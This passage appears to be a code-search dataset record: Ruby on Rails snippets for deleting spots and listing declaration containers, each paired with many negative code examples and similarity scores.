@dive_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "def spot_params\n params.require(:spot).permit(\n :name,\n :description,\n :hidden,\n :season,\n :created_at,\n :updated_at,\n :latitude,\n :longitude,\n :image,\n :region_id,\n :tide_optimal_min_metres,\n :tide_optimal_max_metres,\n :swell_optimal_size_min_metres,\n :swell_optimal_size_max_metres,\n :swell_optimal_direction_min,\n :swell_optimal_direction_max,\n :wind_optimal_strength_min_kmh,\n :wind_optimal_strength_max_kmh,\n :wind_optimal_direction_min,\n :wind_optimal_direction_max,\n :wave_model_lat,\n :wave_model_lon,\n :willyweather_location_id,\n :weighting_swell,\n :weighting_wind,\n :weighting_tide,\n :wave_model_size_coefficient,\n :feature_ids => []\n )\n end", "def create\n p_name = params[:spot][:name]\n p_latitude = params[:spot][:latitude]\n p_longitude = params[:spot][:longitude]\n p_address = params[:spot][:address]\n p_type = params[:spot][:type]\n p_img = params[:spot][:img]\n p_rating = params[:spot][:rating]\n p_schedule = params[:spot][:schedule]\n p_telephone = params[:spot][:telephone]\n p_website = params[:spot][:website]\n p_description = params[:spot][:description]\n p_activities = params[:spot][:activities].split(' ')\n p_price = params[:spot][:price]\n \n @spot = Spot.new(\n name: p_name,\n latitude: p_latitude,\n longitude: p_longitude,\n address: p_address,\n type: p_type,\n img: p_img,\n rating: p_rating,\n schedule: p_schedule,\n telephone: p_telephone,\n website:p_website,\n description:p_description,\n activities: p_activities,\n price: p_price\n )\n\n respond_to do |format|\n if @spot.save\n format.html { redirect_to @spot, notice: 'Spot was successfully created.' }\n format.json { render :show, status: :created, location: @spot }\n else\n format.html { render :new }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @card_spot.update(card_spot_params)\n format.html { redirect_to @card_spot, notice: 'Card spot was successfully updated.' }\n format.json { render :show, status: :ok, location: @card_spot }\n else\n format.html { render :edit }\n format.json { render json: @card_spot.errors, status: :unprocessable_entity }\n end\n end\n end", "def put\n RestClient.put(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def put(path, options={})\n request :put, path, options\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def save_spots(spots)\n # debug\n # puts spots\n\n # spots.first irá deletar todos os sports do primeiro usuario do array,\n # como para todas as posições do array estou usando o mesmo usuário, com isso todos serão deletados\n spotsCollection.delete_many({ user: spots.first[:user] })\n spotsCollection.insert_many(spots)\n end", "def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end", "def index\n @spots = Spot.find(:all) \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @spots }\n end\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def solveticket(assigneeid, ticketidxml)\n\n raise ArgumentError.new(\"no assignee is present\") if assigneeid.empty?\n raise ArgumentError.new(\"ticketid is present text provided\") if ticketidxml.empty?\n\n xml = createsolvedticketxml(assigneeid)\n\n begin\n resource = RestClient::Resource.new @hostname, @username, @password\n url = 'tickets/'+ ticketidxml\n httpresponse = resource[url].put xml.to_s, :content_type => 'application/xml', :accept => '*/*'\n processresponse(httpresponse) # call success handler\n rescue => e\n processerror(e) # call error handler\n end\n\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def set_microspot\n @microspot = Microspot.find(params[:id])\n end", "def put(path, params={}, options={})\n request(:put, api_path(path), params, options)\n end", "def put(path, params)\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def update\n @spouse = Spouse.find(params[:id])\n\n respond_to do |format|\n if @spouse.update_attributes(params[:spouse])\n flash[:notice] = 'Spouse was successfully updated.'\n format.html { redirect_to(@spouse) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spouse.errors, :status => :unprocessable_entity }\n end\n end\n end", "def spot_params\n params.require(:spot).permit(:name, :latitude, :longitude, :country_id, \n photos_attributes: [:id, :image, :imageable_id], seasons_attributes: [:id, :spot_id, :sport_id, :months])\n end", "def puts_to(path,params,opts={},&block) #:nodoc: \n crud_to(:put,path,params,opts,&block)\n end", "def put(path, options = {})\n request(:put, path, options)\n end", "def put(path, options = {})\n request(:put, path, options)\n end", "def put_document index, id, document\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}\")\n req = Net::HTTP::Put.new(uri)\n req.body = document.to_json\n run(uri, req)\n end", "def put(path, doc = nil, options = {})\n execute('PUT', path, options, doc)\n end", "def put(uri, params = {})\n send_request(uri, :put, params)\n end", "def update\n put :update\n end" ]
[ "0.6583891", "0.658334", "0.65819573", "0.65819573", "0.6577946", "0.6442288", "0.64096373", "0.63760203", "0.6350477", "0.6350477", "0.6350477", "0.6350477", "0.62630695", "0.61750597", "0.61498", "0.6117777", "0.61135644", "0.59792244", "0.5976361", "0.59697115", "0.5956879", "0.5956879", "0.5872697", "0.5846657", "0.5846083", "0.58402675", "0.58009475", "0.5776613", "0.57537824", "0.5719259", "0.5700907", "0.57009006", "0.5670317", "0.5648651", "0.5640304", "0.5638135", "0.5634253", "0.5627665", "0.56089026", "0.5588531", "0.5582209", "0.5570374", "0.5570041", "0.5537877", "0.5537877", "0.55306375", "0.55218214", "0.5521743", "0.55173856", "0.55131125", "0.54796445", "0.54765743", "0.5470656", "0.5413475", "0.5412066", "0.5405349", "0.5397065", "0.5397041", "0.53946817", "0.5389156", "0.53696364", "0.536262", "0.5355848", "0.5354508", "0.53541297", "0.53533185", "0.5327317", "0.53207433", "0.5318742", "0.5310343", "0.5310343", "0.5310343", "0.53055805", "0.52985764", "0.5297478", "0.52942866", "0.5286313", "0.5281689", "0.52534914", "0.52534914", "0.52534914", "0.52534914", "0.52534914", "0.52534914", "0.52534914", "0.52534914", "0.52413034", "0.52355146", "0.52294594", "0.5226944", "0.5226944", "0.52263", "0.52138823", "0.5213381", "0.52080303", "0.52080303", "0.52064633", "0.52013046", "0.51999503", "0.5199547" ]
0.6966321
0
DELETE /spots/1 DELETE /spots/1.xml
def destroy @spot = Spot.find(params[:id]) @spot.destroy respond_to do |format| format.html { redirect_to(spots_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to(spot_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.destroy\n\n respond_to do |format|\n format.html { redirect_to spots_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @spot_activity = SpotActivity.find(params[:id])\n @spot_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(spot_activities_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @spot.destroy\n respond_to do |format|\n format.html { redirect_to spots_url, notice: 'Spot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @spot.destroy\n respond_to do |format|\n format.html { redirect_to spots_url, notice: 'Spot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @spot.destroy\n respond_to do |format|\n format.html { redirect_to spots_path, notice: 'Spot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @spot = Spot.find(params[:id])\n @spot.mark_destroyed(current_admin)\n\n respond_to do |format|\n format.html { redirect_to spots_url }\n format.json { head :no_content }\n end\n end", "def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end", "def destroy\n @microspot.destroy\n respond_to do |format|\n format.html { redirect_to microspots_url, notice: 'Microspot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n delete_from_server single_url\n end", "def destroy\n @docent = Docent.find(params[:id])\n @docent.destroy\n\n respond_to do |format|\n format.html { redirect_to(docents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @shelf = Shelf.find(params[:id])\n @shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to(shelves_url) }\n format.xml { head :ok }\n end\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def destroy\n @route_point = RoutePoint.find(params[:id])\n @route_point.destroy\n\n respond_to do |format|\n format.html { redirect_to(route_points_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @point = Point.find(params[:id])\n @point.destroy\n\n respond_to do |format|\n format.html { redirect_to(points_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @point = Point.find(params[:id])\n @point.destroy\n\n respond_to do |format|\n format.html { redirect_to(points_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @point = Point.find(params[:id])\n @point.destroy\n\n respond_to do |format|\n format.html { redirect_to(points_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dive_spot.destroy\n respond_to do |format|\n format.html { redirect_to dive_spots_url, notice: 'Dive spot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def destroy\n @kingdom = Kingdom.find(params[:id])\n @kingdom.destroy\n\n respond_to do |format|\n format.html { redirect_to(kingdoms_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @parking_spot = ParkingSpot.find(params[:id])\n @parking_spot.destroy\n\n respond_to do |format|\n format.html { redirect_to parking_spots_url }\n format.json { head :no_content }\n end\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def destroy\n @tso = Tso.find(params[:id])\n @tso.destroy\n\n respond_to do |format|\n format.html { redirect_to(tsos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @spit = Spit.find(params[:id])\n @spit.destroy\n\n respond_to do |format|\n format.html { redirect_to(spits_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @old_point_tag = OldPointTag.find(params[:id])\n @old_point_tag.destroy\n\n respond_to do |format|\n format.html { redirect_to(old_point_tags_url) }\n format.xml { head :ok }\n end\n end", "def delete(splat)\n bad_request if splat.empty?\n _delete resolve_uri(splat[0])\n end", "def destroy\n @spot = Spot.find(params[:id])\n if current_user.admin == true\n @spot.destroy\n end\n respond_to do |format|\n format.html { redirect_to spots_url }\n format.json { head :ok }\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @garage_spot.destroy\n respond_to do |format|\n format.html { redirect_to garage_spots_url, notice: 'Garage spot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy; delete end", "def destroy\n @segment = Segment.find(params[:id])\n @segment.destroy\n\n respond_to do |format|\n format.html { redirect_to(worldreach_segments_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @sphere = Sphere.find(params[:id])\n @sphere.destroy\n\n respond_to do |format|\n format.html { redirect_to(spheres_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def destroy\n @storeloc = Storeloc.find(params[:id])\n @storeloc.itemlocs.each do |loc|\n loc.destroy\n end\n\n @storeloc.destroy\n\n respond_to do |format|\n format.html { redirect_to(storelocs_url) }\n format.xml { head :ok }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def delete_all\n solr.delete_by_query('*:*')\n solr.commit\n end", "def delete\n end", "def destroy\n @snap = Snap.find(params[:id])\n @snap.destroy\n\n respond_to do |format|\n format.html { redirect_to(snaps_url) }\n format.xml { head :ok }\n end\n end", "def delete\n api_client.delete(url)\n end", "def destroy\n @shot = Shot.find(params[:id])\n @shot.destroy\n\n respond_to do |format|\n format.html { redirect_to(shots_url) }\n format.xml { head :ok }\n end\n end", "def delete!\n Recliner.delete(uri)\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @waypoint = Waypoint.find(params[:id])\n @waypoint.destroy\n\n respond_to do |format|\n format.html { redirect_to(waypoints_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @spouse = Spouse.find(params[:id])\n @spouse.destroy\n\n respond_to do |format|\n format.html { redirect_to(spouses_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @auto = Auto.find(params[:id])\n @auto.destroy\n\n respond_to do |format|\n format.html { redirect_to(autos_url) }\n format.xml { head :ok }\n end\n end", "def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def destroy\n @point = Point.find(params[:id])\n @point.destroy\n\n respond_to do |format|\n format.html { redirect_to(layer_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @line.destroy\r\n respond_to do |format|\r\n format.html { redirect_to spots_path, notice: 'Spot was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @qx = Qx.find(params[:id])\n @qx.destroy\n\n respond_to do |format|\n format.html { redirect_to(qxes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @path = Path.find(params[:id])\n @path.destroy\n\n respond_to do |format|\n format.html { redirect_to(layer_url) }\n format.xml { head :ok }\n end\n end", "def delete\n blacklight_items.each do |r|\n solr.delete_by_id r[\"id\"]\n solr.commit\n end\n end", "def destroy\n @dogpark = Dogpark.find(params[:id])\n @dogpark.destroy\n\n respond_to do |format|\n format.html { redirect_to(dogparks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @visarequest = Visarequest.find(params[:id])\n @visarequest.destroy\n\n respond_to do |format|\n format.html { redirect_to(visarequests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @pageview = Pageview.find(params[:id])\n @pageview.destroy\n\n respond_to do |format|\n format.html { redirect_to(pageviews_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @robot = Robot.find(params[:id])\n @robot.destroy\n\n respond_to do |format|\n format.html { redirect_to(root_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @spot.destroy\n redirect_to country_path(@country), notice: 'Spot was successfully destroyed.'\n end", "def destroy\n @spot.destroy\n redirect_to country_path(@country), notice: 'Spot was successfully destroyed.'\n end", "def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end", "def delete(id)\n logger.debug(\"#{self.class.name}: Sending delete to Solr for #{id}\")\n\n json_package = {delete: id}\n resp = @http_client.post solr_update_url_with_query(@solr_update_args), JSON.generate(json_package), \"Content-type\" => \"application/json\"\n if resp.status != 200\n raise RuntimeError.new(\"Could not delete #{id.inspect}, http response #{resp.status}: #{resp.body}\")\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def deleteWaypoint _wp\n SQF.deleteWaypoint _wp\n end", "def destroy\n @server_rack = ServerRack.find(params[:id])\n @server_rack.destroy\n\n respond_to do |format|\n format.html { redirect_to(server_racks_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @travel = Travel.find(params[:id])\n @travel.destroy\n\n respond_to do |format|\n format.html { redirect_to(travels_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @travel = Travel.find(params[:id])\n @travel.destroy\n\n respond_to do |format|\n format.html { redirect_to(travels_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @segmento = Segmento.find(params[:id])\n @segmento.destroy\n\n respond_to do |format|\n format.html { redirect_to(segmentos_url) }\n format.xml { head :ok }\n end\n end", "def delete\n \n end", "def delete\n\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def destroy\n @study_spot.destroy\n respond_to do |format|\n format.html { redirect_to study_spots_url, notice: 'Study spot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tagline = Tagline.find(params[:id])\n @tagline.destroy\n\n respond_to do |format|\n format.html { redirect_to(taglines_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @xpto = Xpto.find(params[:id])\n @xpto.destroy\n\n respond_to do |format|\n format.html { redirect_to xptos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @t1 = T1.find(params[:id])\n @t1.destroy\n\n respond_to do |format|\n format.html { redirect_to(t1s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @echo = Echo.find(params[:id])\n @echo.destroy\n\n respond_to do |format|\n format.html { redirect_to(echoes_url) }\n format.xml { head :ok }\n end\n end", "def solr_delete(solr_id)\n Solarize::Post.execute(Solr::Request::Delete.new(:id => solr_id))\n end", "def destroy\n @checkpoint_removed = CheckpointRemoved.find(params[:id])\n @checkpoint_removed.destroy\n\n respond_to do |format|\n format.html { redirect_to(checkpoint_removeds_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tourpoint = Tourpoint.find(params[:id])\n @tourpoint.destroy\n\n respond_to do |format|\n format.html { redirect_to(tourpoints_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @sentence = Sentence.find(params[:id])\n @sentence.destroy\n\n respond_to do |format|\n format.html { redirect_to(sentences_url) }\n format.xml { head :ok }\n end\n end", "def delete\n @tag = Tag.find(params[:id])\n @tag.destroy\n\n respond_to do |format|\n format.html { redirect_to(tags_url) }\n format.xml { head :ok }\n end\n end", "def delete(options={})\n connection.delete(\"/\", @name)\n end", "def destroy\n @pdig = Pdig.find(params[:id])\n @pdig.destroy\n\n respond_to do |format|\n format.html { redirect_to(pdigs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @tag_cloud = TagCloud.find(params[:id])\r\n @tag_cloud.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(tag_clouds_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "def destroy\n @vote = Vote.find(params[:id])\n @vote.destroy\n\n respond_to do |format|\n format.html { redirect_to(votes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @vote = Vote.find(params[:id])\n @vote.destroy\n\n respond_to do |format|\n format.html { redirect_to(votes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @vote = Vote.find(params[:id])\n @vote.destroy\n\n respond_to do |format|\n format.html { redirect_to(votes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @vote = Vote.find(params[:id])\n @vote.destroy\n\n respond_to do |format|\n format.html { redirect_to(votes_url) }\n format.xml { head :ok }\n end\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end" ]
[ "0.7291676", "0.6624148", "0.66236794", "0.65972114", "0.6558815", "0.6495135", "0.63619936", "0.63619936", "0.6333078", "0.62592983", "0.6249959", "0.6216139", "0.6160865", "0.61570716", "0.6151279", "0.61475515", "0.6147537", "0.6129842", "0.6121459", "0.6121459", "0.6121459", "0.611631", "0.6115611", "0.61065394", "0.61007565", "0.60956013", "0.60620403", "0.60573083", "0.6048301", "0.60482526", "0.6047927", "0.6041618", "0.6032102", "0.60263884", "0.60253894", "0.6022342", "0.60188675", "0.5999849", "0.5995051", "0.5992607", "0.59766984", "0.59720594", "0.59702533", "0.596599", "0.5963829", "0.5963657", "0.59615177", "0.59612536", "0.5960954", "0.5958459", "0.5957596", "0.5953764", "0.59533566", "0.59527516", "0.5947507", "0.594384", "0.5942193", "0.59384495", "0.59351593", "0.59343755", "0.5933034", "0.5933034", "0.592469", "0.5922361", "0.59204453", "0.59204453", "0.59204453", "0.59204453", "0.59193254", "0.59183836", "0.59181243", "0.59181243", "0.59180987", "0.5915154", "0.5914634", "0.59128255", "0.59113073", "0.5909577", "0.59090185", "0.5906278", "0.59033453", "0.59021556", "0.59001726", "0.589857", "0.58969927", "0.5896733", "0.5895628", "0.58936954", "0.5891291", "0.5887391", "0.5887391", "0.5887391", "0.5887391", "0.58861315", "0.58861315", "0.58861315", "0.58861315", "0.58861315", "0.58861315" ]
0.7332503
0
GET /declaration_containers GET /declaration_containers.json
def index @declaration_containers = @declaration.declaration_containers.page(params[:page]) respond_to do |format| format.html # index.html.erb format.json { render json: @declaration_containers } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @declaration_container }\n end\n end", "def index\n @containers = Container.all\n end", "def containers\n TestLab::Container.all\n end", "def create\n @declaration_container = DeclarationContainer.new(params[:declaration_container])\n\n respond_to do |format|\n if @declaration_container.save\n format.html { redirect_to new_declaration_container_url(:declaration_id => @declaration_container.declaration_id), notice: 'Declaration container was successfully created.' }\n format.json { render json: @declaration_container, status: :created, location: @declaration_container }\n else\n format.html { render action: \"new\" }\n format.json { render json: @declaration_container.errors, status: :unprocessable_entity }\n end\n end\n end", "def containers_ids\n containers(:response_format => :id_array)\n end", "def get_containers\n assert_not_nil @rdigg.info.get_containers\n end", "def new\n @declaration_container = DeclarationContainer.new(:declaration_id => @declaration.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @declaration_container }\n end\n end", "def create\n response = post_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/containers.json\"), params[:container].to_json, (sesh :current_token))\n json_respond response.body \n\n end", "def containers(key = nil, options = {})\n key ||= properties.key1\n\n query = \"comp=list\"\n options.each { |okey, ovalue| query += \"&#{okey}=#{[ovalue].flatten.join(',')}\" }\n\n response = blob_response(key, query)\n\n doc = Nokogiri::XML(response.body)\n\n results = doc.xpath('//Containers/Container').collect do |element|\n Container.new(Hash.from_xml(element.to_s)['Container'])\n end\n\n results.concat(next_marker_results(doc, :containers, key, options))\n end", "def list # rubocop:disable Metrics/AbcSize\n if @options[:container]\n containerview = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n containerview = containerview.contents(@options[:container])\n if containerview.code == '201' || containerview.code == '200'\n containerview.body\n elsif containerview.code == '204'\n print 'the container is empty'\n else\n @util.response_handler(containerview)\n end\n else\n newcontainer = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n newcontainer = newcontainer.list\n @util.response_handler(newcontainer)\n newcontainer.body if newcontainer.code == '200'\n puts 'there are no containers' if newcontainer.code == '204'\n end \n end", "def containers\n @containers ||= Docker::Container.all(\n all: true, # include stopped containers\n filters: { id: container_ids }.to_json\n ).map(&:json)\n end", "def create\n response = post_request(URI.parse(\"http://\"+Storage.find(cookies[:donabe_ip]).data+\"/\"+Storage.find(cookies[:current_tenant]).data+\"/containers.json\"), params[:container].to_json, Storage.find(cookies[:current_token]).data)\n json_respond response.body \n\n end", "def destroy\n @declaration_container.destroy\n\n respond_to do |format|\n format.html { redirect_to declaration_containers_url(:declaration_id => @declaration_container.declaration_id) }\n format.json { head :no_content }\n end\n end", "def container\n namespace + '_container'\n end", "def container\n Dry::Types.container\n end", "def index\n @containers_pages = @page.containers_pages\n end", "def list_containers(options={})\n query = { }\n if options\n query['prefix'] = options[:prefix] if options[:prefix]\n query['marker'] = options[:marker] if options[:marker]\n query['maxresults'] = options[:max_results].to_s if options[:max_results]\n query['include'] = 'metadata' if options[:metadata] == true\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n end\n\n uri = containers_uri(query)\n response = call(:get, uri)\n\n Serialization.container_enumeration_results_from_xml(response.body)\n end", "def containers\n return @containers\n end", "def create_container(collection, container = nil)\n active_container = container\n if active_container.nil?\n active_container = {\n \"metadata\": [\n {\n \"key\": \"dc.title\",\n \"language\": \"en_US\",\n \"value\": \"Empty Container Document\"\n },\n {\n \"key\": \"dc.contributor.author\",\n \"language\": \"en_US\",\n \"value\": \"Data Services, Bobst Library\"\n }\n ]\n }\n end\n cmd = `curl -X POST -H \"Content-Type: application/json\" -H \"Accept: application/json\" -H \"rest-dspace-token: #{@token}\" -d '#{JSON.generate(active_container)}' #{ENV[\"FDA_REST_ENDPOINT\"]}/collections/#{collection}/items --insecure -s`\n return JSON.parse(cmd)\n end", "def show\n @container_navigation = ContainerNavigation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @container_navigation }\n end\n end", "def read_containers\n []\n end", "def containers\n obj = parse_object(1)\n return nil unless obj && obj.m_Container && obj.m_Container.array?\n obj.m_Container.value.map do |e|\n {:name => e.first.value, :preload_index => e.second.preloadIndex.value, :path_id => e.second.asset.m_PathID.value}\n end\n end", "def container\n @container ||= Dry::Container.new\n end", "def show\n @container_stack = ContainerStack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @container_stack }\n end\n end", "def index\n user_session[:current_container]=nil\n if params[:label].blank?\n @containers = Container.list(params[:filter])\n else\n @container = Container.find_by_label(params[:label])\n render action: 'show' and return\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @containers }\n end\n end", "def containers=(value)\n @containers = value\n end", "def containers\n unless @containers\n @containers = read_containers\n if ENV['OSGI'] && !ENV['OSGi']\n warn \"The correct constant to define for the OSGi containers is named OSGi\"\n ENV['OSGi'] = ENV['OSGI']\n end\n if ENV['OSGi'] \n @containers |= ENV['OSGi'].split(';')\n end\n end\n @resolved_containers.nil? ? @containers : @containers.dup.freeze\n end", "def get_containers\n init_folder unless @init # have I been initialized?\n return @containers \n end", "def index\n if @container\n @container_contents = @container.container_contents\n else\n @container_contents = ContainerContent.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @container_contents }\n end\n end", "def containers\n return @containers unless @containers.nil?\n container_codes = []\n codes = code.split('|')\n container_codes << (codes = codes[0..-2]).join('|') while codes.size > 1\n # first is country code\n @containers = [country]\n # second, third can be parent administrative division if not nil\n # NOTE container codes is like: [\"ES|58|PO\", \"ES|58\", \"ES\"] (country is last)\n @containers += Division.find_all_by_code container_codes[0..-2], :order => :level if container_codes.size > 1\n return @containers\n end", "def resolved_containers\n @resolved_containers ||= containers.collect { |container| Container.new(container) }\n @resolved_containers\n end", "def show\n @containers_pages = @page.containers_pages \n end", "def show\n @level_container = LevelContainer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @level_container }\n end\n end", "def index\n @serverhascontainers = Serverhascontainer.all\n end", "def index_containers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContainersApi.index_containers ...'\n end\n # resource path\n local_var_path = '/containers'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'sort_by'] = @api_client.build_collection_param(opts[:'sort_by'], :pipe) if !opts[:'sort_by'].nil?\n query_params[:'id'] = opts[:'id'] if !opts[:'id'].nil?\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'comment'] = opts[:'comment'] if !opts[:'comment'].nil?\n query_params[:'quota_total_size'] = opts[:'quota_total_size'] if !opts[:'quota_total_size'].nil?\n query_params[:'quota_on_cache'] = opts[:'quota_on_cache'] if !opts[:'quota_on_cache'].nil?\n query_params[:'stat_total_files'] = opts[:'stat_total_files'] if !opts[:'stat_total_files'].nil?\n query_params[:'stat_total_size'] = opts[:'stat_total_size'] if !opts[:'stat_total_size'].nil?\n 